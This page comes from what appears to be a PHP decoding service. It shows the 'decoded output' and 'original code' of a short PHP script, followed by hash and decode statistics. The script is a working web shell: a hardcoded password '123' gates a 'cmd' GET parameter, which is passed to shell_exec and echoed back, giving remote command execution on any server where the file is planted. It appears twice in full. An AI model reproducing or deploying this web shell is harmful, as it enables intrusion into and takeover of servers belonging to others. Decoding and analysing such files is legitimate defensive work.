Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $auth = '123'; if ($_GET['auth'] !== $auth) { die("Authentication..

Decoded Output download

<?php 
    $auth = '123'; 
    if ($_GET['auth'] !== $auth) { 
        die("Authentication failed!"); 
    } 
 
    $cmd = $_GET['cmd'] ?? ''; 
    if ($cmd !== '') { 
        $output = shell_exec($cmd); 
        echo $output; 
    } else { 
        echo "No command provided.
"; 
    } 
    ?>

Did this file decode correctly?

Original Code

<?php
    $auth = '123';
    if ($_GET['auth'] !== $auth) {
        die("Authentication failed!");
    }

    $cmd = $_GET['cmd'] ?? '';
    if ($cmd !== '') {
        $output = shell_exec($cmd);
        echo $output;
    } else {
        echo "No command provided.\n";
    }
    ?>

Function Calls

None

Variables

None

Stats

MD5 477b939ab2a0cb4dcf1769da4cef90d9
Eval Count 0
Decode Time 73 ms